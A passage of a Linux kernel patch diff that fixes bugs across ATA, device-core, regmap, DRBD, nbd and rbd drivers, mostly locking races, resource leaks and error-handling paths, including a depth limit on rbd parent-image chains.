protocol. * send first data block. @@ -1135,9 +1121,6 @@ int ata_sff_hsm_move(struct ata_port *ap, struct ata_queued_cmd *qc, /* send CDB */ atapi_send_cdb(ap, qc); - if (in_wq) - spin_unlock_irqrestore(ap->lock, flags); - /* if polling, ata_sff_pio_task() handles the rest. * otherwise, interrupt handler takes over from here. */ @@ -1333,7 +1316,19 @@ void ata_sff_flush_pio_task(struct ata_port *ap) DPRINTK("ENTER\n"); cancel_delayed_work_sync(&ap->sff_pio_task); + + /* + * We wanna reset the HSM state to IDLE. If we do so without + * grabbing the port lock, critical sections protected by it which + * expect the HSM state to stay stable may get surprised. For + * example, we may set IDLE in between the time + * __ata_sff_port_intr() checks for HSM_ST_IDLE and before it calls + * ata_sff_hsm_move() causing ata_sff_hsm_move() to BUG(). + */ + spin_lock_irq(ap->lock); ap->hsm_task_state = HSM_ST_IDLE; + spin_unlock_irq(ap->lock); + ap->sff_pio_task_link = NULL; if (ata_msg_ctl(ap)) @@ -1349,12 +1344,14 @@ static void ata_sff_pio_task(struct work_struct *work) u8 status; int poll_next; + spin_lock_irq(ap->lock); + BUG_ON(ap->sff_pio_task_link == NULL); /* qc can be NULL if timeout occurred */ qc = ata_qc_from_tag(ap, link->active_tag); if (!qc) { ap->sff_pio_task_link = NULL; - return; + goto out_unlock; } fsm_start: @@ -1369,11 +1366,14 @@ static void ata_sff_pio_task(struct work_struct *work) */ status = ata_sff_busy_wait(ap, ATA_BUSY, 5); if (status & ATA_BUSY) { + spin_unlock_irq(ap->lock); ata_msleep(ap, 2); + spin_lock_irq(ap->lock); + status = ata_sff_busy_wait(ap, ATA_BUSY, 10); if (status & ATA_BUSY) { ata_sff_queue_pio_task(link, ATA_SHORT_PAUSE); - return; + goto out_unlock; } } @@ -1390,6 +1390,8 @@ static void ata_sff_pio_task(struct work_struct *work) */ if (poll_next) goto fsm_start; +out_unlock: + spin_unlock_irq(ap->lock); } /** @@ -2008,13 +2010,15 @@ static int ata_bus_softreset(struct ata_port *ap, unsigned int devmask, DPRINTK("ata%u: bus reset via SRST\n", ap->print_id); - /* software reset. causes dev0 to be selected */ - iowrite8(ap->ctl, ioaddr->ctl_addr); - udelay(20); /* FIXME: flush */ - iowrite8(ap->ctl | ATA_SRST, ioaddr->ctl_addr); - udelay(20); /* FIXME: flush */ - iowrite8(ap->ctl, ioaddr->ctl_addr); - ap->last_ctl = ap->ctl; + if (ap->ioaddr.ctl_addr) { + /* software reset. causes dev0 to be selected */ + iowrite8(ap->ctl, ioaddr->ctl_addr); + udelay(20); /* FIXME: flush */ + iowrite8(ap->ctl | ATA_SRST, ioaddr->ctl_addr); + udelay(20); /* FIXME: flush */ + iowrite8(ap->ctl, ioaddr->ctl_addr); + ap->last_ctl = ap->ctl; + } /* wait the port to become ready */ return ata_sff_wait_after_reset(&ap->link, devmask, deadline); @@ -2215,10 +2219,6 @@ void ata_sff_error_handler(struct ata_port *ap) spin_unlock_irqrestore(ap->lock, flags); - /* ignore ata_sff_softreset if ctl isn't accessible */ - if (softreset == ata_sff_softreset && !ap->ioaddr.ctl_addr) - softreset = NULL; - /* ignore built-in hardresets if SCR access is not available */ if ((hardreset == sata_std_hardreset || hardreset == sata_sff_hardreset) && !sata_scr_valid(&ap->link)) diff --git a/drivers/ata/pata_octeon_cf.c b/drivers/ata/pata_octeon_cf.c index e73bef3093d2b..5507f36a06b4d 100644 --- a/drivers/ata/pata_octeon_cf.c +++ b/drivers/ata/pata_octeon_cf.c @@ -1068,7 +1068,7 @@ static struct of_device_id octeon_cf_match[] = { }, {}, }; -MODULE_DEVICE_TABLE(of, octeon_i2c_match); +MODULE_DEVICE_TABLE(of, octeon_cf_match); static struct platform_driver octeon_cf_driver = { .probe = octeon_cf_probe, diff --git a/drivers/ata/pata_scc.c b/drivers/ata/pata_scc.c index f35f15f4d83e3..f7badaa39eb61 100644 --- a/drivers/ata/pata_scc.c +++ b/drivers/ata/pata_scc.c @@ -586,7 +586,7 @@ static int scc_wait_after_reset(struct ata_link *link, unsigned int devmask, * Note: Original code is ata_bus_softreset(). */ -static unsigned int scc_bus_softreset(struct ata_port *ap, unsigned int devmask, +static int scc_bus_softreset(struct ata_port *ap, unsigned int devmask, unsigned long deadline) { struct ata_ioports *ioaddr = &ap->ioaddr; @@ -600,9 +600,7 @@ static unsigned int scc_bus_softreset(struct ata_port *ap, unsigned int devmask, udelay(20); out_be32(ioaddr->ctl_addr, ap->ctl); - scc_wait_after_reset(&ap->link, devmask, deadline); - - return 0; + return scc_wait_after_reset(&ap->link, devmask, deadline); } /** @@ -619,7 +617,8 @@ static int scc_softreset(struct ata_link *link, unsigned int *classes, { struct ata_port *ap = link->ap; unsigned int slave_possible = ap->flags & ATA_FLAG_SLAVE_POSS; - unsigned int devmask = 0, err_mask; + unsigned int devmask = 0; + int rc; u8 err; DPRINTK("ENTER\n"); @@ -635,9 +634,9 @@ static int scc_softreset(struct ata_link *link, unsigned int *classes, /* issue bus reset */ DPRINTK("about to softreset, devmask=%x\n", devmask); - err_mask = scc_bus_softreset(ap, devmask, deadline); - if (err_mask) { - ata_port_err(ap, "SRST failed (err_mask=0x%x)\n", err_mask); + rc = scc_bus_softreset(ap, devmask, deadline); + if (rc) { + ata_port_err(ap, "SRST failed (err_mask=0x%x)\n", rc); return -EIO; } diff --git a/drivers/ata/pata_serverworks.c b/drivers/ata/pata_serverworks.c index f3febbce6c462..34c91ac3a814e 100644 --- a/drivers/ata/pata_serverworks.c +++ b/drivers/ata/pata_serverworks.c @@ -252,12 +252,18 @@ static void serverworks_set_dmamode(struct ata_port *ap, struct ata_device *adev pci_write_config_byte(pdev, 0x54, ultra_cfg); } -static struct scsi_host_template serverworks_sht = { +static struct scsi_host_template serverworks_osb4_sht = { + ATA_BMDMA_SHT(DRV_NAME), + .sg_tablesize = LIBATA_DUMB_MAX_PRD, +}; + +static struct scsi_host_template serverworks_csb_sht = { ATA_BMDMA_SHT(DRV_NAME), }; static struct ata_port_operations serverworks_osb4_port_ops = { .inherits = &ata_bmdma_port_ops, + .qc_prep = ata_bmdma_dumb_qc_prep, .cable_detect = serverworks_cable_detect, .mode_filter = serverworks_osb4_filter, .set_piomode = serverworks_set_piomode, @@ -266,6 +272,7 @@ static struct ata_port_operations serverworks_osb4_port_ops = { static struct ata_port_operations serverworks_csb_port_ops = { .inherits = &serverworks_osb4_port_ops, + .qc_prep = ata_bmdma_qc_prep, .mode_filter = serverworks_csb_filter, }; @@ -405,6 +412,7 @@ static int serverworks_init_one(struct pci_dev *pdev, const struct pci_device_id } }; const struct ata_port_info *ppi[] = { &info[id->driver_data], NULL }; + struct scsi_host_template *sht = &serverworks_csb_sht; int rc; rc = pcim_enable_device(pdev); @@ -418,6 +426,7 @@ static int serverworks_init_one(struct pci_dev *pdev, const struct pci_device_id /* Select non UDMA capable OSB4 if we can't do fixups */ if (rc < 0) ppi[0] = &info[1]; + sht = &serverworks_osb4_sht; } /* setup CSB5/CSB6 : South Bridge and IDE option RAID */ else if ((pdev->device == PCI_DEVICE_ID_SERVERWORKS_CSB5IDE) || @@ -434,7 +443,7 @@ static int serverworks_init_one(struct pci_dev *pdev, const struct pci_device_id ppi[1] = &ata_dummy_port_info; } - return ata_pci_bmdma_init_one(pdev, ppi, &serverworks_sht, NULL, 0); + return ata_pci_bmdma_init_one(pdev, ppi, sht, NULL, 0); } #ifdef CONFIG_PM diff --git a/drivers/ata/sata_dwc_460ex.c b/drivers/ata/sata_dwc_460ex.c index 2e391730e8bef..776b59fbe861d 100644 --- a/drivers/ata/sata_dwc_460ex.c +++ b/drivers/ata/sata_dwc_460ex.c @@ -797,7 +797,7 @@ static int dma_dwc_init(struct sata_dwc_device *hsdev, int irq) if (err) { dev_err(host_pvt.dwc_dev, "%s: dma_request_interrupts returns" " %d\n", __func__, err); - goto error_out; + return err; } /* Enabe DMA */ @@ -808,11 +808,6 @@ static int dma_dwc_init(struct sata_dwc_device *hsdev, int irq) sata_dma_regs); return 0; - -error_out: - dma_dwc_exit(hsdev); - - return err; } static int sata_dwc_scr_read(struct ata_link *link, unsigned int scr, u32 *val) @@ -1662,7 +1657,7 @@ static int sata_dwc_probe(struct platform_device *ofdev) char *ver = (char *)&versionr; u8 *base = NULL; int err = 0; - int irq, rc; + int irq; struct ata_host *host; struct ata_port_info pi = sata_dwc_port_info[0]; const struct ata_port_info *ppi[] = { &pi, NULL }; @@ -1725,7 +1720,7 @@ static int sata_dwc_probe(struct platform_device *ofdev) if (irq == NO_IRQ) { dev_err(&ofdev->dev, "no SATA DMA irq\n"); err = -ENODEV; - goto error_out; + goto error_iomap; } /* Get physical SATA DMA register base address */ @@ -1734,14 +1729,16 @@ static int sata_dwc_probe(struct platform_device *ofdev) dev_err(&ofdev->dev, "ioremap failed for AHBDMA register" " address\n"); err = -ENODEV; - goto error_out; + goto error_iomap; } /* Save dev for later use in dev_xxx() routines */ host_pvt.dwc_dev = &ofdev->dev; /* Initialize AHB DMAC */ - dma_dwc_init(hsdev, irq); + err = dma_dwc_init(hsdev, irq); + if (err) + goto error_dma_iomap; /* Enable SATA Interrupts */ sata_dwc_enable_interrupts(hsdev); @@ -1759,9 +1756,8 @@ static int sata_dwc_probe(struct platform_device *ofdev) * device discovery process, invoking our port_start() handler & * error_handler() to execute a dummy Softreset EH session */ - rc = ata_host_activate(host, irq, sata_dwc_isr, 0, &sata_dwc_sht); - - if (rc != 0) + err = ata_host_activate(host, irq, sata_dwc_isr, 0, &sata_dwc_sht); + if (err) dev_err(&ofdev->dev, "failed to activate host"); dev_set_drvdata(&ofdev->dev, host); @@ -1770,7 +1766,8 @@ static int sata_dwc_probe(struct platform_device *ofdev) error_out: /* Free SATA DMA resources */ dma_dwc_exit(hsdev); - +error_dma_iomap: + iounmap((void __iomem *)host_pvt.sata_dma_regs); error_iomap: iounmap(base); error_kmalloc: @@ -1791,6 +1788,7 @@ static int sata_dwc_remove(struct platform_device *ofdev) /* Free SATA DMA resources */ dma_dwc_exit(hsdev); + iounmap((void __iomem *)host_pvt.sata_dma_regs); iounmap(hsdev->reg_base); kfree(hsdev); kfree(host); diff --git a/drivers/ata/sata_fsl.c b/drivers/ata/sata_fsl.c index 8401061b4040b..38a2389f5b1bc 100644 --- a/drivers/ata/sata_fsl.c +++ b/drivers/ata/sata_fsl.c @@ -1501,7 +1501,7 @@ static int sata_fsl_probe(struct platform_device *ofdev) host_priv->csr_base = csr_base; irq = irq_of_parse_and_map(ofdev->dev.of_node, 0); - if (irq < 0) { + if (!irq) { dev_err(&ofdev->dev, "invalid irq from platform\n"); goto error_exit_with_cleanup; } diff --git a/drivers/ata/sata_sil.c b/drivers/ata/sata_sil.c index dd1faa564eb26..cdfb98e70cfd3 100644 --- a/drivers/ata/sata_sil.c +++ b/drivers/ata/sata_sil.c @@ -631,6 +631,9 @@ static void sil_dev_config(struct ata_device *dev) unsigned int n, quirks = 0; unsigned char model_num[ATA_ID_PROD_LEN + 1]; + /* This controller doesn't support trim */ + dev->horkage |= ATA_HORKAGE_NOTRIM; + ata_id_c_string(dev->id, model_num, ATA_ID_PROD, sizeof(model_num)); for (n = 0; sil_blacklist[n].product; n++) diff --git a/drivers/auxdisplay/ks0108.c b/drivers/auxdisplay/ks0108.c index 5b93852392b8c..0d752851a1eef 100644 --- a/drivers/auxdisplay/ks0108.c +++ b/drivers/auxdisplay/ks0108.c @@ -139,6 +139,7 @@ static int __init ks0108_init(void) ks0108_pardevice = parport_register_device(ks0108_parport, KS0108_NAME, NULL, NULL, NULL, PARPORT_DEV_EXCL, NULL); + parport_put_port(ks0108_parport); if (ks0108_pardevice == NULL) { printk(KERN_ERR KS0108_NAME ": ERROR: " "parport didn't register new device\n"); diff --git a/drivers/base/bus.c b/drivers/base/bus.c index d414331b480e7..558d562f49013 100644 --- a/drivers/base/bus.c +++ b/drivers/base/bus.c @@ -242,13 +242,15 @@ static ssize_t store_drivers_probe(struct bus_type *bus, const char *buf, size_t count) { struct device *dev; + int err = -EINVAL; dev = bus_find_device_by_name(bus, NULL, buf); if (!dev) return -ENODEV; - if (bus_rescan_devices_helper(dev, NULL) != 0) - return -EINVAL; - return count; + if (bus_rescan_devices_helper(dev, NULL) == 0) + err = count; + put_device(dev); + return err; } static struct device *next_device(struct klist_iter *i) diff --git a/drivers/base/core.c b/drivers/base/core.c index 9a61f925bfbdd..33e7fd9a44283 100644 --- a/drivers/base/core.c +++ b/drivers/base/core.c @@ -765,12 +765,12 @@ class_dir_create_and_add(struct class *class, struct kobject *parent_kobj) return &dir->kobj; } +static DEFINE_MUTEX(gdp_mutex); static struct kobject *get_device_parent(struct device *dev, struct device *parent) { if (dev->class) { - static DEFINE_MUTEX(gdp_mutex); struct kobject *kobj = NULL; struct kobject *parent_kobj; struct kobject *k; @@ -834,7 +834,9 @@ static void cleanup_glue_dir(struct device *dev, struct kobject *glue_dir) glue_dir->kset != &dev->class->p->glue_dirs) return; + mutex_lock(&gdp_mutex); kobject_put(glue_dir); + mutex_unlock(&gdp_mutex); } static void cleanup_device_parent(struct device *dev) diff --git a/drivers/base/devres.c b/drivers/base/devres.c index 52302946770f5..87643ca7c0351 100644 --- a/drivers/base/devres.c +++ b/drivers/base/devres.c @@ -297,10 +297,10 @@ void * devres_get(struct device *dev, void *new_res, if (!dr) { add_dr(dev, &new_dr->node); dr = new_dr; - new_dr = NULL; + new_res = NULL; } spin_unlock_irqrestore(&dev->devres_lock, flags); - devres_free(new_dr); + devres_free(new_res); return dr->data; } diff --git a/drivers/base/firmware_class.c b/drivers/base/firmware_class.c index 62bc4ce13312d..be71c0ad40cbf 100644 --- a/drivers/base/firmware_class.c +++ b/drivers/base/firmware_class.c @@ -556,10 +556,8 @@ static void fw_dev_release(struct device *dev) module_put(THIS_MODULE); } -static int firmware_uevent(struct device *dev, struct kobj_uevent_env *env) +static int do_firmware_uevent(struct firmware_priv *fw_priv, struct kobj_uevent_env *env) { - struct firmware_priv *fw_priv = to_firmware_priv(dev); - if (add_uevent_var(env, "FIRMWARE=%s", fw_priv->buf->fw_id)) return -ENOMEM; if (add_uevent_var(env, "TIMEOUT=%i", loading_timeout)) @@ -570,6 +568,18 @@ static int firmware_uevent(struct device *dev, struct kobj_uevent_env *env) return 0; } +static int firmware_uevent(struct device *dev, struct kobj_uevent_env *env) +{ + struct firmware_priv *fw_priv = to_firmware_priv(dev); + int err = 0; + + mutex_lock(&fw_lock); + if (fw_priv->buf) + err = do_firmware_uevent(fw_priv, env); + mutex_unlock(&fw_lock); + return err; +} + static struct class firmware_class = { .name = "firmware", .class_attrs = firmware_class_attrs, diff --git a/drivers/base/module.c b/drivers/base/module.c index db930d3ee3125..2a215780eda25 100644 --- a/drivers/base/module.c +++ b/drivers/base/module.c @@ -24,10 +24,12 @@ static char *make_driver_name(struct device_driver *drv) static void module_create_drivers_dir(struct module_kobject *mk) { - if (!mk || mk->drivers_dir) - return; + static DEFINE_MUTEX(drivers_dir_mutex); - mk->drivers_dir = kobject_create_and_add("drivers", &mk->kobj); + mutex_lock(&drivers_dir_mutex); + if (mk && !mk->drivers_dir) + mk->drivers_dir = kobject_create_and_add("drivers", &mk->kobj); + mutex_unlock(&drivers_dir_mutex); } void module_add_driver(struct module *mod, struct device_driver *drv) diff --git a/drivers/base/platform.c b/drivers/base/platform.c index 9eda84246ffd5..8717be5093a23 100644 --- a/drivers/base/platform.c +++ b/drivers/base/platform.c @@ -347,9 +347,7 @@ int platform_device_add(struct platform_device *pdev) while (--i >= 0) { struct resource *r = &pdev->resource[i]; - unsigned long type = resource_type(r); - - if (type == IORESOURCE_MEM || type == IORESOURCE_IO) + if (r->parent) release_resource(r); } @@ -380,9 +378,7 @@ void platform_device_del(struct platform_device *pdev) for (i = 0; i < pdev->num_resources; i++) { struct resource *r = &pdev->resource[i]; - unsigned long type = resource_type(r); - - if (type == IORESOURCE_MEM || type == IORESOURCE_IO) + if (r->parent) release_resource(r); } } diff --git a/drivers/base/regmap/regmap-debugfs.c b/drivers/base/regmap/regmap-debugfs.c index b777539e87b44..d8ef007c4d2f7 100644 --- a/drivers/base/regmap/regmap-debugfs.c +++ b/drivers/base/regmap/regmap-debugfs.c @@ -23,8 +23,7 @@ static struct dentry *regmap_debugfs_root; /* Calculate the length of a fixed format */ static size_t regmap_calc_reg_len(int max_val, char *buf, size_t buf_size) { - snprintf(buf, buf_size, "%x", max_val); - return strlen(buf); + return snprintf(NULL, 0, "%x", max_val); } static ssize_t regmap_name_read_file(struct file *file, @@ -418,7 +417,7 @@ static ssize_t regmap_access_read_file(struct file *file, /* If we're in the region the user is trying to read */ if (p >= *ppos) { /* ...but not beyond it */ - if (buf_pos >= count - 1 - tot_len) + if (buf_pos + tot_len + 1 >= count) break; /* Format the register */ diff --git a/drivers/base/regmap/regmap.c b/drivers/base/regmap/regmap.c index 5e6cd4e95dde3..aadf39bffa023 100644 --- a/drivers/base/regmap/regmap.c +++ b/drivers/base/regmap/regmap.c @@ -1839,7 +1839,7 @@ int regmap_bulk_read(struct regmap *map, unsigned int reg, void *val, &ival); if (ret != 0) return ret; - memcpy(val + (i * val_bytes), &ival, val_bytes); + map->format.format_val(val + (i * val_bytes), ival, 0); } } diff --git a/drivers/block/drbd/drbd_interval.c b/drivers/block/drbd/drbd_interval.c index 89c497c630b4e..04a14e0f88783 100644 --- a/drivers/block/drbd/drbd_interval.c +++ b/drivers/block/drbd/drbd_interval.c @@ -79,6 +79,7 @@ bool drbd_insert_interval(struct rb_root *root, struct drbd_interval *this) { struct rb_node **new = &root->rb_node, *parent = NULL; + sector_t this_end = this->sector + (this->size >> 9); BUG_ON(!IS_ALIGNED(this->size, 512)); @@ -87,6 +88,8 @@ drbd_insert_interval(struct rb_root *root, struct drbd_interval *this) rb_entry(*new, struct drbd_interval, rb); parent = *new; + if (here->end < this_end) + here->end = this_end; if (this->sector < here->sector) new = &(*new)->rb_left; else if (this->sector > here->sector) @@ -99,6 +102,7 @@ drbd_insert_interval(struct rb_root *root, struct drbd_interval *this) return false; } + this->end = this_end; rb_link_node(&this->rb, parent, new); rb_insert_augmented(&this->rb, root, &augment_callbacks); return true; diff --git a/drivers/block/drbd/drbd_nl.c b/drivers/block/drbd/drbd_nl.c index 9e3f441e7e844..9c37f3d896a24 100644 --- a/drivers/block/drbd/drbd_nl.c +++ b/drivers/block/drbd/drbd_nl.c @@ -514,6 +514,12 @@ void conn_try_outdate_peer_async(struct drbd_tconn *tconn) struct task_struct *opa; kref_get(&tconn->kref); + /* We may just have force_sig()'ed this thread + * to get it out of some blocking network function. + * Clear signals; otherwise kthread_run(), which internally uses + * wait_on_completion_killable(), will mistake our pending signal + * for a new fatal signal and fail. */ + flush_signals(current); opa = kthread_run(_try_outdate_peer_async, tconn, "drbd_async_h"); if (IS_ERR(opa)) { conn_err(tconn, "out of mem, failed to invoke fence-peer helper\n"); diff --git a/drivers/block/drbd/drbd_req.c b/drivers/block/drbd/drbd_req.c index c24379ffd4e30..b2ae184a637ce 100644 --- a/drivers/block/drbd/drbd_req.c +++ b/drivers/block/drbd/drbd_req.c @@ -1309,6 +1309,7 @@ int drbd_merge_bvec(struct request_queue *q, struct bvec_merge_data *bvm, struct struct request_queue * const b = mdev->ldev->backing_bdev->bd_disk->queue; if (b->merge_bvec_fn) { + bvm->bi_bdev = mdev->ldev->backing_bdev; backing_limit = b->merge_bvec_fn(b, bvm, bvec); limit = min(limit, backing_limit); } diff --git a/drivers/block/nbd.c b/drivers/block/nbd.c index cf1576d543636..d593fa5247f5b 100644 --- a/drivers/block/nbd.c +++ b/drivers/block/nbd.c @@ -581,8 +581,8 @@ static void do_nbd_request(struct request_queue *q) BUG_ON(nbd->magic != NBD_MAGIC); if (unlikely(!nbd->sock)) { - dev_err(disk_to_dev(nbd->disk), - "Attempted send on closed socket\n"); + dev_err_ratelimited(disk_to_dev(nbd->disk), + "Attempted send on closed socket\n"); req->errors++; nbd_end_request(req); spin_lock_irq(q->queue_lock); @@ -815,10 +815,6 @@ static int __init nbd_init(void) return -EINVAL; } - nbd_dev = kcalloc(nbds_max, sizeof(*nbd_dev), GFP_KERNEL); - if (!nbd_dev) - return -ENOMEM; - part_shift = 0; if (max_part > 0) { part_shift = fls(max_part); @@ -840,6 +836,10 @@ static int __init nbd_init(void) if (nbds_max > 1UL << (MINORBITS - part_shift)) return -EINVAL; + nbd_dev = kcalloc(nbds_max, sizeof(*nbd_dev), GFP_KERNEL); + if (!nbd_dev) + return -ENOMEM; + for (i = 0; i < nbds_max; i++) { struct gendisk *disk = alloc_disk(1 << part_shift); if (!disk) diff --git a/drivers/block/paride/pd.c b/drivers/block/paride/pd.c index 19ad8f0c83efe..897b6b9e53b1b 100644 --- a/drivers/block/paride/pd.c +++ b/drivers/block/paride/pd.c @@ -126,7 +126,7 @@ */ #include -static bool verbose = 0; +static int verbose = 0; static int major = PD_MAJOR; static char *name = PD_NAME; static int cluster = 64; @@ -161,7 +161,7 @@ enum {D_PRT, D_PRO, D_UNI, D_MOD, D_GEO, D_SBY, D_DLY, D_SLV}; static DEFINE_MUTEX(pd_mutex); static DEFINE_SPINLOCK(pd_lock); -module_param(verbose, bool, 0); +module_param(verbose, int, 0); module_param(major, int, 0); module_param(name, charp, 0); module_param(cluster, int, 0); diff --git a/drivers/block/paride/pt.c b/drivers/block/paride/pt.c index 2596042eb987c..ada45058e04da 100644 --- a/drivers/block/paride/pt.c +++ b/drivers/block/paride/pt.c @@ -117,7 +117,7 @@ */ -static bool verbose = 0; +static int verbose = 0; static int major = PT_MAJOR; static char *name = PT_NAME; static int disable = 0; @@ -152,7 +152,7 @@ static int (*drives[4])[6] = {&drive0, &drive1, &drive2, &drive3}; #include -module_param(verbose, bool, 0); +module_param(verbose, int, 0); module_param(major, int, 0); module_param(name, charp, 0); module_param_array(drive0, int, NULL, 0); diff --git a/drivers/block/rbd.c b/drivers/block/rbd.c index 07caf44d57550..85b31ba9d503f 100644 --- a/drivers/block/rbd.c +++ b/drivers/block/rbd.c @@ -93,6 +93,8 @@ static int atomic_dec_return_safe(atomic_t *v) #define RBD_MINORS_PER_MAJOR 256 /* max minors per blkdev */ +#define RBD_MAX_PARENT_CHAIN_LEN 16 + #define RBD_SNAP_DEV_NAME_PREFIX "snap_" #define RBD_MAX_SNAP_NAME_LEN \ (NAME_MAX - (sizeof (RBD_SNAP_DEV_NAME_PREFIX) - 1)) @@ -394,7 +396,7 @@ static ssize_t rbd_add(struct bus_type *bus, const char *buf, size_t count); static ssize_t rbd_remove(struct bus_type *bus, const char *buf, size_t count); -static int rbd_dev_image_probe(struct rbd_device *rbd_dev, bool mapping); +static int rbd_dev_image_probe(struct rbd_device *rbd_dev, int depth); static void rbd_spec_put(struct rbd_spec *spec); static struct bus_attribute rbd_bus_attrs[] = { @@ -457,6 +459,7 @@ void rbd_warn(struct rbd_device *rbd_dev, const char *fmt, ...) # define rbd_assert(expr) ((void) 0) #endif /* !RBD_DEBUG */ +static void rbd_osd_copyup_callback(struct rbd_obj_request *obj_request); static int rbd_img_obj_request_submit(struct rbd_obj_request *obj_request); static void rbd_img_parent_read(struct rbd_obj_request *obj_request); static void rbd_dev_remove_parent(struct rbd_device *rbd_dev); @@ -1670,6 +1673,16 @@ static void rbd_osd_stat_callback(struct rbd_obj_request *obj_request) obj_request_done_set(obj_request); } +static void rbd_osd_call_callback(struct rbd_obj_request *obj_request) +{ + dout("%s: obj %p\n", __func__, obj_request); + + if (obj_request_img_data_test(obj_request)) + rbd_osd_copyup_callback(obj_request); + else + obj_request_done_set(obj_request); +} + static void rbd_osd_req_callback(struct ceph_osd_request *osd_req, struct ceph_msg *msg) { @@ -1708,6 +1721,8 @@ static void rbd_osd_req_callback(struct ceph_osd_request *osd_req, rbd_osd_stat_callback(obj_request); break; case CEPH_OSD_OP_CALL: + rbd_osd_call_callback(obj_request); + break; case CEPH_OSD_OP_NOTIFY_ACK: case CEPH_OSD_OP_WATCH: rbd_osd_trivial_callback(obj_request); @@ -1851,11 +1866,11 @@ static struct rbd_obj_request *rbd_obj_request_create(const char *object_name, rbd_assert(obj_request_type_valid(type)); size = strlen(object_name) + 1; - name = kmalloc(size, GFP_KERNEL); + name = kmalloc(size, GFP_NOIO); if (!name) return NULL; - obj_request = kmem_cache_zalloc(rbd_obj_request_cache, GFP_KERNEL); + obj_request = kmem_cache_zalloc(rbd_obj_request_cache, GFP_NOIO); if (!obj_request) { kfree(name); return NULL; @@ -2115,6 +2130,11 @@ static bool rbd_img_obj_end_request(struct rbd_obj_request *obj_request) result, xferred); if (!img_request->result) img_request->result = result; + /* + * Need to end I/O on the entire obj_request worth of + * bytes in case of error. + */ + xferred = obj_request->length; } /* Image object requests don't own their page array */ @@ -2149,7 +2169,6 @@ static void rbd_img_obj_callback(struct rbd_obj_request *obj_request) rbd_assert(img_request->obj_request_count > 0); rbd_assert(which != BAD_WHICH); rbd_assert(which < img_request->obj_request_count); - rbd_assert(which >= img_request->next_completion); spin_lock_irq(&img_request->completion_lock); if (which != img_request->next_completion) @@ -2301,13 +2320,15 @@ static int rbd_img_request_fill(struct rbd_img_request *img_request, } static void -rbd_img_obj_copyup_callback(struct rbd_obj_request *obj_request) +rbd_osd_copyup_callback(struct rbd_obj_request *obj_request) { struct rbd_img_request *img_request; struct rbd_device *rbd_dev; struct page **pages; u32 page_count; + dout("%s: obj %p\n", __func__, obj_request); + rbd_assert(obj_request->type == OBJ_REQUEST_BIO); rbd_assert(obj_request_img_data_test(obj_request)); img_request = obj_request->img_request; @@ -2333,9 +2354,7 @@ rbd_img_obj_copyup_callback(struct rbd_obj_request *obj_request) if (!obj_request->result) obj_request->xferred = obj_request->length; - /* Finish up with the normal image object callback */ - - rbd_img_obj_callback(obj_request); + obj_request_done_set(obj_request); } static void @@ -2432,7 +2451,6 @@ rbd_img_obj_parent_read_full_callback(struct rbd_img_request *img_request) /* All set, send it off. */ - orig_request->callback = rbd_img_obj_copyup_callback; osdc = &rbd_dev->rbd_client->client->osdc; img_result = rbd_obj_request_submit(osdc, orig_request); if (!img_result) @@ -3227,7 +3245,7 @@ static int rbd_obj_read_sync(struct rbd_device *rbd_dev, page_count = (u32) calc_pages_for(offset, length); pages = ceph_alloc_page_vector(page_count, GFP_KERNEL); if (IS_ERR(pages)) - ret = PTR_ERR(pages); + return PTR_ERR(pages); ret = -ENOMEM; obj_request = rbd_obj_request_create(object_name, offset, length, @@ -3437,6 +3455,9 @@ static int rbd_init_disk(struct rbd_device *rbd_dev) blk_queue_io_opt(q, segment_size); blk_queue_merge_bvec(q, rbd_merge_bvec); + if (!ceph_test_opt(rbd_dev->rbd_client->client, NOCRC)) + q->backing_dev_info.capabilities |= BDI_CAP_STABLE_WRITES; + disk->queue = q; q->queuedata = rbd_dev; @@ -4812,45 +4833,50 @@ static int rbd_dev_v2_header_onetime(struct rbd_device *rbd_dev) return ret; } -static int rbd_dev_probe_parent(struct rbd_device *rbd_dev) +/* + * @depth is rbd_dev_image_probe() -> rbd_dev_probe_parent() -> + * rbd_dev_image_probe() recursion depth, which means it's also the + * length of the already discovered part of the parent chain. + */ +static int rbd_dev_probe_parent(struct rbd_device *rbd_dev, int depth) { struct rbd_device *parent = NULL; - struct rbd_spec *parent_spec; - struct rbd_client *rbdc; int ret; if (!rbd_dev->parent_spec) return 0; - /* - * We need to pass a reference to the client and the parent - * spec when creating the parent rbd_dev. Images related by - * parent/child relationships always share both. - */ - parent_spec = rbd_spec_get(rbd_dev->parent_spec); - rbdc = __rbd_get_client(rbd_dev->rbd_client); - ret = -ENOMEM; - parent = rbd_dev_create(rbdc, parent_spec); - if (!parent) + if (++depth > RBD_MAX_PARENT_CHAIN_LEN) { + pr_info("parent chain is too long (%d)\n", depth); + ret = -EINVAL; goto out_err; + } + + parent = rbd_dev_create(rbd_dev->rbd_client, rbd_dev->parent_spec); + if (!parent) { + ret = -ENOMEM; + goto out_err; + } - ret = rbd_dev_image_probe(parent, false); + /* + * Images related by parent/child relationships always share + * rbd_client and spec/parent_spec, so bump their refcounts. + */ + __rbd_get_client(rbd_dev->rbd_client); + rbd_spec_get(rbd_dev->parent_spec); + + ret = rbd_dev_image_probe(parent, depth); if (ret < 0) goto out_err; + rbd_dev->parent = parent; atomic_set(&rbd_dev->parent_ref, 1); - return 0; + out_err: - if (parent) { - rbd_dev_unparent(rbd_dev); - kfree(rbd_dev->header_name); + rbd_dev_unparent(rbd_dev); + if (parent) rbd_dev_destroy(parent); - } else { - rbd_put_client(rbdc); - rbd_spec_put(parent_spec); - } - return ret; } @@ -4956,7 +4982,7 @@ static void rbd_dev_image_release(struct rbd_device *rbd_dev) * parent), initiate a watch on its header object before using that * object to get detailed information about the rbd image. */ -static int rbd_dev_image_probe(struct rbd_device *rbd_dev, bool mapping) +static int rbd_dev_image_probe(struct rbd_device *rbd_dev, int depth) { int ret; int tmp; @@ -4977,7 +5003,7 @@ static int rbd_dev_image_probe(struct rbd_device *rbd_dev, bool mapping) if (ret) goto err_out_format; - if (mapping) { + if (!depth) { ret = rbd_dev_header_watch_sync(rbd_dev, true); if (ret) goto out_header_name; @@ -4994,7 +5020,7 @@ static int rbd_dev_image_probe(struct rbd_device *rbd_dev, bool mapping) if (ret) goto err_out_probe; - ret = rbd_dev_probe_parent(rbd_dev); + ret = rbd_dev_probe_parent(rbd_dev, depth); if (ret) goto err_out_probe; @@ -5005,7 +5031,7 @@ static int rbd_dev_image_probe(struct rbd_device *rbd_dev, bool mapping) err_out_probe: rbd_dev_unprobe(rbd_dev); err_out_watch: - if (mapping) { + if (!depth) { tmp = rbd_dev_header_watch_sync(rbd_dev, false); if (tmp) rbd_warn(rbd_dev, "unable to tear down " @@ -5076,7 +5102,7 @@ static ssize_t rbd_add(struct bus_type 